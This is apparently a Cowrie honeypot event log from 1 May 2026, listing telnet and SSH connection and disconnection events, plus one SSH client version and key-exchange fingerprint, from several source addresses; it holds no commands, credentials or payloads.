{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":37978,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb3c1c6d0b3","protocol":"telnet","message":"New connection: 107.152.33.170:37978 (159.203.135.109:23) [session: bbb3c1c6d0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:24.142594Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":33504,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb866774713","protocol":"telnet","message":"New connection: 138.197.5.236:33504 (159.203.135.109:23) [session: 3fb866774713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:24.241362Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37154,"dst_ip":"10.17.0.5","dst_port":23,"session":"98cad113eb89","protocol":"telnet","message":"New connection: 85.190.254.94:37154 (10.17.0.5:23) [session: 98cad113eb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:24.399706Z"}
{"eventid":"cowrie.session.closed","duration":30.371789932250977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:25.069090Z","src_ip":"85.190.254.94","session":"f2556bde6f49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":49970,"dst_ip":"159.203.135.109","dst_port":23,"session":"db8f49bea14c","protocol":"telnet","message":"New connection: 62.77.140.101:49970 (159.203.135.109:23) [session: db8f49bea14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:25.090308Z"}
{"eventid":"cowrie.session.closed","duration":30.441470623016357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:25.096571Z","src_ip":"85.190.254.94","session":"c693cb34931b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25345802307129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:25.161602Z","src_ip":"85.190.254.94","session":"fb1a70471f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2db6c38b92","protocol":"telnet","message":"New connection: 85.190.254.94:43032 (10.17.0.5:23) [session: 8a2db6c38b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.082042Z"}
{"eventid":"cowrie.session.closed","duration":31.057934522628784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.171489Z","src_ip":"138.197.5.236","session":"63101392ab62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":35612,"dst_ip":"159.203.135.109","dst_port":23,"session":"5891b6397a76","protocol":"telnet","message":"New connection: 138.197.5.236:35612 (159.203.135.109:23) [session: 5891b6397a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.187927Z"}
{"eventid":"cowrie.session.closed","duration":31.137564182281494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.224188Z","src_ip":"138.197.5.236","session":"1fc63fa217b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594171285629272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.306901Z","src_ip":"85.190.254.94","session":"eef519099c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715158224105835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.345721Z","src_ip":"85.190.254.94","session":"04389654c464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":56482,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f50c5e7df90","protocol":"telnet","message":"New connection: 136.244.67.81:56482 (159.203.135.109:23) [session: 1f50c5e7df90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:26.429969Z"}
{"eventid":"cowrie.session.closed","duration":31.05636191368103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.109279Z","src_ip":"138.197.5.236","session":"c88f07d7ddbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06477975845337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.113367Z","src_ip":"138.197.5.236","session":"69078e20868e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061209440231323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.117299Z","src_ip":"138.197.5.236","session":"d7a8b0f382ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030736446380615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.174326Z","src_ip":"138.197.5.236","session":"7cbacdf42097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950050830841064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.201283Z","src_ip":"167.71.198.239","session":"a4c06117f6ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188021659851074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.323681Z","src_ip":"138.197.5.236","session":"2e3edb6d2318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790153741836548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.343965Z","src_ip":"167.71.198.239","session":"52cd687a8d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":35964,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bdb5deb9590","protocol":"telnet","message":"New connection: 138.197.5.236:35964 (159.203.135.109:23) [session: 7bdb5deb9590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.448006Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48744,"dst_ip":"10.17.0.5","dst_port":23,"session":"883a01756834","protocol":"telnet","message":"New connection: 85.190.254.94:48744 (10.17.0.5:23) [session: 883a01756834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:27.964050Z"}
{"eventid":"cowrie.session.closed","duration":30.60004210472107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:28.194775Z","src_ip":"138.197.5.236","session":"23b9e0afdb07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155184030532837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:28.269661Z","src_ip":"138.197.5.236","session":"8dc1d0beb249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51980,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3aff0237c2b","protocol":"telnet","message":"New connection: 85.190.254.94:51980 (10.17.0.5:23) [session: b3aff0237c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:28.942560Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69a4faea0d8","protocol":"telnet","message":"New connection: 85.190.254.94:52134 (10.17.0.5:23) [session: e69a4faea0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:28.983368Z"}
{"eventid":"cowrie.session.closed","duration":30.430660247802734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.049648Z","src_ip":"85.190.254.94","session":"27ac7190879a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43587636947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.073161Z","src_ip":"85.190.254.94","session":"5c957c23a626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"16c59246ec11","protocol":"telnet","message":"New connection: 62.77.140.101:55284 (159.203.135.109:23) [session: 16c59246ec11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.204041Z"}
{"eventid":"cowrie.session.closed","duration":30.58787488937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.212233Z","src_ip":"167.71.198.239","session":"978c3ba9aba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770599603652954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.216990Z","src_ip":"167.71.198.239","session":"b8ba25a1f10b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89029359817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.222924Z","src_ip":"138.197.5.236","session":"e5c2034dbe08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130333423614502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.261424Z","src_ip":"138.197.5.236","session":"e0e62e8f6ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17613387107849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.354767Z","src_ip":"167.71.198.239","session":"a0603a583fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53606,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a827761da1","protocol":"telnet","message":"New connection: 85.190.254.94:53606 (10.17.0.5:23) [session: 74a827761da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:29.401823Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56018,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc8e038245c","protocol":"telnet","message":"New connection: 85.190.254.94:56018 (10.17.0.5:23) [session: 6cc8e038245c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:30.136936Z"}
{"eventid":"cowrie.session.closed","duration":30.864378690719604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:30.257219Z","src_ip":"167.71.198.239","session":"b73336589398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56650,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d942c5052d","protocol":"telnet","message":"New connection: 85.190.254.94:56650 (10.17.0.5:23) [session: 08d942c5052d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:30.332645Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ace607d798","protocol":"telnet","message":"New connection: 85.190.254.94:54236 (10.17.0.5:23) [session: 91ace607d798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:30.571577Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59148,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9fe437f127","protocol":"telnet","message":"New connection: 85.190.254.94:59148 (10.17.0.5:23) [session: cd9fe437f127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:30.949783Z"}
{"eventid":"cowrie.session.closed","duration":30.196667194366455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.123471Z","src_ip":"107.152.33.170","session":"287365df1b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073538303375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.192886Z","src_ip":"138.197.5.236","session":"cc63d4a8a50f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":40694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8898601a5b14","protocol":"telnet","message":"New connection: 138.197.5.236:40694 (159.203.135.109:23) [session: 8898601a5b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.205726Z"}
{"eventid":"cowrie.session.closed","duration":30.525675773620605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.211555Z","src_ip":"167.71.198.239","session":"aa328c68d0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052383422851562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.218101Z","src_ip":"85.190.254.94","session":"3721cb2978ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431156158447266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.222200Z","src_ip":"138.197.5.236","session":"ed90ae1ebb03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582385778427124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.291976Z","src_ip":"167.71.198.239","session":"960b62e55530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18273091316223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.529939Z","src_ip":"107.152.33.170","session":"e341b65446a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":56498,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb27daf80f26","protocol":"telnet","message":"New connection: 136.244.67.81:56498 (159.203.135.109:23) [session: cb27daf80f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:31.967586Z"}
{"eventid":"cowrie.session.closed","duration":30.277908086776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.052512Z","src_ip":"85.190.254.94","session":"18f44545428b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720975875854492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.089715Z","src_ip":"85.190.254.94","session":"72993630f792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":40996,"dst_ip":"159.203.135.109","dst_port":23,"session":"926d5f100cc2","protocol":"telnet","message":"New connection: 138.197.5.236:40996 (159.203.135.109:23) [session: 926d5f100cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.453866Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":37986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b01bab46f0","protocol":"telnet","message":"New connection: 107.152.33.170:37986 (159.203.135.109:23) [session: f6b01bab46f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.526910Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"81aa0b79877d","protocol":"telnet","message":"New connection: 62.77.140.101:55292 (159.203.135.109:23) [session: 81aa0b79877d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.536739Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84e9c937431","protocol":"telnet","message":"New connection: 85.190.254.94:36586 (10.17.0.5:23) [session: c84e9c937431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.651218Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":46742,"dst_ip":"159.203.135.109","dst_port":23,"session":"5daf22083677","protocol":"telnet","message":"New connection: 77.72.5.107:46742 (159.203.135.109:23) [session: 5daf22083677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.765772Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a10a271956b","protocol":"telnet","message":"New connection: 85.190.254.94:37380 (10.17.0.5:23) [session: 5a10a271956b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:32.886545Z"}
{"eventid":"cowrie.session.closed","duration":30.79214644432068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.053127Z","src_ip":"85.190.254.94","session":"5637eced9bbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481120824813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.072877Z","src_ip":"136.244.67.81","session":"de2d04929d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923397302627563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.077707Z","src_ip":"85.190.254.94","session":"d4a34c54f3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42632,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e02fa40a50","protocol":"telnet","message":"New connection: 138.197.5.236:42632 (159.203.135.109:23) [session: 78e02fa40a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.122790Z"}
{"eventid":"cowrie.session.closed","duration":30.47787046432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.282738Z","src_ip":"167.71.198.239","session":"b571910984c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57034134864807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.306863Z","src_ip":"167.71.198.239","session":"817618d4460f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12569761276245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.355840Z","src_ip":"138.197.5.236","session":"c84a2ecc7fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b196369687","protocol":"telnet","message":"New connection: 85.190.254.94:39596 (10.17.0.5:23) [session: 61b196369687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.556081Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43302,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5e8b367099","protocol":"telnet","message":"New connection: 138.197.5.236:43302 (159.203.135.109:23) [session: 6d5e8b367099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.690902Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":34760,"dst_ip":"159.203.135.109","dst_port":23,"session":"97535d314d07","protocol":"telnet","message":"New connection: 167.71.198.239:34760 (159.203.135.109:23) [session: 97535d314d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.708214Z"}
{"eventid":"cowrie.session.closed","duration":31.19683003425598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:33.917270Z","src_ip":"85.190.254.94","session":"68ce016ba265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":56504,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1a4e6a3c40","protocol":"telnet","message":"New connection: 136.244.67.81:56504 (159.203.135.109:23) [session: 5c1a4e6a3c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:34.213405Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42688,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdaeb611669b","protocol":"telnet","message":"New connection: 138.197.5.236:42688 (159.203.135.109:23) [session: fdaeb611669b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:34.217824Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43174,"dst_ip":"159.203.135.109","dst_port":23,"session":"074b2166ceca","protocol":"telnet","message":"New connection: 138.197.5.236:43174 (159.203.135.109:23) [session: 074b2166ceca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:34.593869Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":30021,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc4ea019785","protocol":"ssh","message":"New connection: 119.195.89.96:30021 (159.203.135.109:22) [session: 6dc4ea019785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:34.879679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:34.884835Z","src_ip":"119.195.89.96","session":"6dc4ea019785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.081229Z","src_ip":"119.195.89.96","session":"6dc4ea019785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":43664,"dst_ip":"159.203.135.109","dst_port":23,"session":"0da2786970ab","protocol":"telnet","message":"New connection: 138.197.5.236:43664 (159.203.135.109:23) [session: 0da2786970ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.125751Z"}
{"eventid":"cowrie.session.closed","duration":31.050464153289795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.183851Z","src_ip":"138.197.5.236","session":"c7a75239a96c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.412593841552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:35.189814Z","src_ip":"85.190.254.94","session":"7cc4f37b9ef8","protocol":"telnet"}
